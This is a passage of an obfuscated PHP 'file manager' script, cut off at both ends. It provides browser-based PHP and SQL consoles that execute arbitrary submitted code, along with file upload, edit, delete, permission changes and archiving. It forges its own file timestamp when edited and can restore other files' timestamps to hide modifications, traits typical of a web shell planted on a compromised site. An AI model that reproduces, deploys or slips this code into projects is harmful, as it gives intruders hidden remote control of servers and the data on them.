xw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC"); } .file { background-image: url("data:image/png;base64,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"); } <?=fm_home_style()?> .img { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII="); } @media screen and (max-width:720px){ table{display:block;} #fm_table td{display:inline;float:left;} #fm_table tbody td:first-child{width:100%;padding:0;} #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;} #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;} #fm_table tr{display:block;float:left;clear:left;width:100%;} #header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;} #header_table table td {display:inline;float:left;} } </style> </head> <body> <?php $r118='?fm=true';if(isset($_POST['sqlrun'])&&!empty($d15['enable_sql_console'])){$p44=empty($_POST['sql'])?'':$_POST['sql'];$y119='sql';}elseif(isset($_POST['phprun'])&&!empty($d15['enable_php_console'])){$p44=empty($_POST['php'])?'':$_POST['php'];$y119='php';}if(isset($_GET['fm_settings'])){echo ' <table class="whole"> <form method="post" action=""> <tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr> '.(empty($n9)?'':'<tr><td class="row2" colspan="2">'.$n9.'</td></tr>').' '.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').' '.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').' '.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').' '.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').' '.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').' '.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').' '.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').' '.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').' '.fm_config_checkbox_row(__('Show').' xls','show_xls').' '.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').' '.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').' <tr><td class="row1"><input name="fm_config[sql_server]" value="'.$d15['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr> <tr><td class="row1"><input name="fm_config[sql_username]" value="'.$d15['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr> <tr><td class="row1"><input name="fm_config[sql_password]" value="'.$d15['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr> <tr><td class="row1"><input name="fm_config[sql_db]" value="'.$d15['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr> '.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').' '.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').' '.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').' '.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').' '.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').' <tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr> </form> </table> <table> <form method="post" action=""> <tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr> <tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($k13['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr> <tr><td class="row1"><input name="fm_login[login]" value="'.$k13['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr> <tr><td class="row1"><input name="fm_login[password]" value="'.$k13['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr> <tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$k13['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr> <tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$k13['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr> <tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$k13['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr> <tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr> </form> </table>';echo fm_tpl_form('php'),fm_tpl_form('sql');}elseif(isset($v116)){die($v116);}elseif(isset($y119)){?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$j6?></th> </tr> <tr> <td class="row2"><table><tr><td><h2><?=strtoupper($y119)?> <?=__('Console')?><?php if($y119=='sql')echo ' - Database: '.$d15['sql_db'].'</h2></td><td>'.fm_run_input('php');else echo '</h2></td><td>'.fm_run_input('sql');?></td></tr></table></td> </tr> <tr> <td class="row1"> <a href="<?=$r118.'&path='.$j6;?>"><?=__('Back')?></a> <form action="" method="POST" name="console"> <textarea name="<?=$y119?>" cols="80" rows="10" style="width: 90%"><?=$p44?></textarea><br/> <input type="reset" value="<?=__('Reset')?>"> <input type="submit" value="<?=__('Submit')?>" name="<?=$y119?>run"> <?php $m120=$y119.'_templates';$v121=!empty($$m120)?json_decode($$m120,true):'';if(!empty($v121)){$p122=isset($_POST[$y119.'_tpl'])?$_POST[$y119.'_tpl']:'';$e123='<select name="'.$y119.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$y119.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$y119.'\'].value =\'\';" >'."\n";$e123.='<option value="-1">'.__('Select')."</option>\n";foreach($v121 as $s124=>$f101){$e123.='<option value="'.$f101.'" '.((!empty($f101)&&($f101==$p122))?'selected':'').' >'.__($s124)."</option>\n";}$e123.="</select>\n";echo $e123;}?> </form> </td> </tr> </table> <?php if(!empty($p44)){$v125='fm_'.$y119;echo '<h3>'.strtoupper($y119).' '.__('Result').'</h3><pre>'.$v125($p44).'</pre>';}}elseif(!empty($_REQUEST['edit'])){if(!empty($_REQUEST['save'])){$f126=$j6.$_REQUEST['edit'];$n26=filemtime($f126);if(file_put_contents($f126,$_REQUEST['newcontent']))$n9.=__('File updated');else $n9 .= __('Error occurred');if($_GET['edit']==basename(__FILE__)){touch(__FILE__,1415116371);}else{if(!empty($d15['restore_time']))touch($f126,$n26);}}$g127=@file_get_contents($j6.$_REQUEST['edit']);$g128=$r118.'&edit='.$_REQUEST['edit'].'&path='.$j6;$j129=$r118.'&path='.$j6;?> <table border='0' cellspacing='0' cellpadding='1' width="100%"> <tr> <th><?=__('File manager').' - '.__('Edit').' - '.$j6.$_REQUEST['edit']?></th> </tr> <tr> <td class="row1"> <?=$n9?> </td> </tr> <tr> <td class="row1"> <?=fm_home()?> <a href="<?=$j129?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$g128?>"> <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($g127)?></textarea> <input type="submit" name="save" value="<?=__('Submit')?>"> <input type="submit" name="cancel" value="<?=__('Cancel')?>"> </form> </td> </tr> </table> <?php echo $k13['script'];}elseif(!empty($_REQUEST['rights'])){if(!empty($_REQUEST['save'])){if(fm_chmod($j6.$_REQUEST['rights'],fm_convert_rights($_REQUEST['rights_val']),@$_REQUEST['recursively']))$n9.=(__('File updated'));else $n9 .=(__('Error occurred'));}clearstatcache();$q130=fm_rights_string($j6.$_REQUEST['rights'],true);$g61=$r118.'&rights='.$_REQUEST['rights'].'&path='.$j6;$j129=$r118.'&path='.$j6;?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$j6?></th> </tr> <tr> <td class="row1"> <?=$n9?> </td> </tr> <tr> <td class="row1"> <a href="<?=$j129?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$g61?>"> <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$q130?>"> <?php if(is_dir($j6.$_REQUEST['rights'])){?> <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/> <?php }?> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php }elseif(!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.'){if(!empty($_REQUEST['save'])){rename($j6.$_REQUEST['rename'],$j6.$_REQUEST['newname']);$n9.=(__('File updated'));$_REQUEST['rename']=$_REQUEST['newname'];}clearstatcache();$g61=$r118.'&rename='.$_REQUEST['rename'].'&path='.$j6;$j129=$r118.'&path='.$j6;?> <table class="whole"> <tr> <th><?=__('File manager').' - '.$j6?></th> </tr> <tr> <td class="row1"> <?=$n9?> </td> </tr> <tr> <td class="row1"> <a href="<?=$j129?>"><?=__('Back')?></a> </td> </tr> <tr> <td class="row1" align="center"> <form name="form1" method="post" action="<?=$g61?>"> <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/> <input type="submit" name="save" value="<?=__('Submit')?>"> </form> </td> </tr> </table> <?php }else{$n9='';if(!empty($_FILES['upload'])&&!empty($d15['upload_file'])){if(!empty($_FILES['upload']['name'])){$_FILES['upload']['name']=str_replace('%','',$_FILES['upload']['name']);if(!move_uploaded_file($_FILES['upload']['tmp_name'],$j6.$_FILES['upload']['name'])){$n9.=__('Error occurred');}else{$n9.=__('Files uploaded').': '.$_FILES['upload']['name'];}}}elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.'){if(!fm_del_files(($j6.$_REQUEST['delete']),true)){$n9.=__('Error occurred');}else{$n9.=__('Deleted').' '.$_REQUEST['delete'];}}elseif(!empty($_REQUEST['mkdir'])&&!empty($d15['make_directory'])){if(!@mkdir($j6.$_REQUEST['dirname'],0777)){$n9.=__('Error occurred');}else{$n9.=__('Created').' '.$_REQUEST['dirname'];}}elseif(!empty($_REQUEST['mkfile'])&&!empty($d15['new_file'])){if(!$h46=@fopen($j6.$_REQUEST['filename'],"w")){$n9.=__('Error occurred');}else{fclose($h46);$n9.=__('Created').' '.$_REQUEST['filename'];}}elseif(isset($_GET['zip'])){$c131=base64_decode($_GET['zip']);$w132=basename($c131).'.zip';set_time_limit(0);$v133=new PharData($w132);$v133->buildFromDirectory($c131);if(is_file($w132))$n9.=__('Task').' "'.__('Archiving').' '.$w132.'" '.__('done').'. '.fm_link('download',$j6.$w132,__('Download'),__('Download').' '.$w132).' <a href="'.$r118.'&delete='.$w132.'&path='.$j6.'" title="'.__('Delete').' '.$w132.'" >'.__('Delete').'</a>';else $n9 .= __('Error occurred').': '.__('no files');}elseif(isset($_GET['gz'])){$c131=base64_decode($_GET['gz']);$c134=$c131.'.tar';$w132=basename($c131).'.tar';if(is_file($c134))unlink($c134);if(is_file($c134.'.gz'))unlink($c134.'.gz');clearstatcache();set_time_limit(0);$v133=new PharData($w132);$v133->buildFromDirectory($c131);$v133->compress(Phar::GZ,'.tar.gz');unset($v133);if(is_file($c134)){if(is_file($c134.'.gz')){unlink($c134);$w132.='.gz';}$n9.=__('Task').' "'.__('Archiving').' '.$w132.'" '.__('done').'. '.fm_link('download',$j6.$w132,__('Download'),__('Download').' '.$w132).' <a href="'.$r118.'&delete='.$w132.'&path='.$j6.'" title="'.__('Delete').' '.$w132.'" >'.__('Delete').'</a>';}else $n9 .= __('Error occurred').': '.__('no files');}elseif(isset($_GET['decompress'])){}elseif(isset($_GET['gzfile'])){$c131=base64_decode($_GET['gzfile']);$c134=$c131.'.tar';$w132=basename($c131).'.tar';if(is_file($c134))unlink($c134);if(is_file($c134.'.gz'))unlink($c134.'.gz');set_time_limit(0);$h135=explode('.',basename($c131));if(isset($h135[1])){unset($h135[0]);$x115=implode('.',$h135);}$v133=new PharData($w132);$v133->addFile($c131);$v133->compress(Phar::GZ,$x115.'.tar.gz');unset($v133);if(is_file($c134)){if(is_file($c134.'.gz')){unlink($c134);$w132.='.gz';}$n9.=__('Task').' "'.__('Archiving').' '.$w132.'" '.__('done').'. '.fm_link('download',$j6.$w132,__('Download'),__('Download').' '.$w132).' <a href="'.$r118.'&delete='.$w132.'&path='.$j6.'" title="'.__('Delete').' '.$w132.'" >'.__('Delete').'</a>';}else $n9 .= __('Error occurred').': '.__('no files');}?> <table class="whole" id="header_table" > <tr> <th colspan="2"><?=__('File manager')?><?=(!empty($j6)?' - '.$j6:'')?></th> </tr> <?php if(!empty($n9)){?> <tr> <td colspan="2" class="row2"><?=$n9?></td> </tr> <?php }?> <tr> <td class="row2"> <table> <tr> <td> <?=fm_home()?> </td> <td> <?php if(!empty($d15['make_directory'])){?> <form method="post" action="<?=$r118?>"> <input type="hidden" name="path" value="<?=$j6?>" /> <input type="text" name="dirname" size="15"> <input type="submit" name="mkdir" value="<?=__('Make directory')?>"> </form> <?php }?> </td> <td> <?php if(!empty($d15['new_file'])){?> <form method="post" action="<?=$r118?>"> <input type="hidden" name="path" value="<?=$j6?>" /> <input type="text" name="filename" size="15"> <input type="submit" name="mkfile" value="<?=__('New file')?>"> </form> <?php }?> </td> <td> <?=fm_run_input('php')?> </td> <td> <?=fm_run_input('sql')?> </td> </tr> </table> </td> <td class="row3"> <table> <tr> <td> <?php if(!empty($d15['upload_file'])){?> <form name="form1" method="post" action="<?=$r118?>" enctype="multipart/form-data"> <input type="hidden" name="path" value="<?=$j6?>" /> <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" /> <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" /> <input type="submit" name="test" value="<?=__('Upload')?>" /> </form> <?php }?> </td> <td> <?php if($k13['authorize']){?> <form action="" method="post"> <input name="quit" type="hidden" value="1"> <?=__('Hello')?>, <?=$k13['login']?> <input type="submit" value="<?=__('Quit')?>"> </form> <?php }?> </td> <td> <?=fm_lang_form($d16)?> </td> <tr> </table> </td> </tr> </table> <table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%"> <thead> <tr> <th style="white-space:nowrap"> <?=__('Filename')?> </th> <th style="white-space:nowrap"> <?=__('Size')?> </th> <th style="white-space:nowrap"> <?=__('Date')?> </th> <th style="white-space:nowrap"> <?=__('Rights')?> </th> <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th> </tr> </thead> <tbody> <?php $g136=fm_scan_dir($j6,'','all',true);$n137=array();$t138=array();foreach($g136 as $e29){if(@is_dir($j6.$e29)){$n137[]=$e29;}else{$t138[]=$e29;}}natsort($n137);natsort($t138);$g136=array_merge($n137,$t138);foreach($g136 as $e29){$e59=$j6.$e29;$j139=@stat($e59);if(@is_dir($e59)){$j139[7]='';if(!empty($d15['show_dir_size'])&&!fm_root($e29))$j139[7]=fm_dir_size($e59);$g61='<a href="'.$r118.'&path='.$j6.$e29.'" title="'.__('Show').' '.$e29.'"><span class="folder"> </span> '.$e29.'</a>';$j140=(fm_root($e29)||$z8)?'':fm_link('zip',$e59,__('Compress').' zip',__('Archiving').' '.$e29);$m141=(fm_root($e29)||$z8)?'':fm_link('gz',$e59,__('Compress').' .tar.gz',__('Archiving').' '.$e29);$p142='row2';if(!fm_root($e29))$h92='onClick="if(confirm(\''.__('Are you sure you want to delete this directory (recursively)?').'\n /'.$e29.'\')) document.location.href = \''.$r118.'&delete='.$e29.'&path='.$j6.'\'"';else $h92='';}else{$g61=$d15['show_img']&&@getimagesize($e59)?'<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''.fm_img_link($e59).'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($e59).'"><span class="img"> </span> '.$e29.'</a>':'<a href="'.$r118.'&edit='.$e29.'&path='.$j6.'" title="'.__('Edit').'"><span class="file"> </span> '.$e29.'</a>';$j143=explode(".",$e29);$x115=end($j143);$j140=fm_link('download',$e59,__('Download'),__('Download').' '.$e29);$m141=in_array($x115,array('zip','gz','tar'))?'':((fm_root($e29)||$z8)?'':fm_link('gzfile',$e59,__('Compress').' .tar.gz',__('Archiving').' '.$e29));$p142='row1';$h92='onClick="if(confirm(\''.__('File selected').': 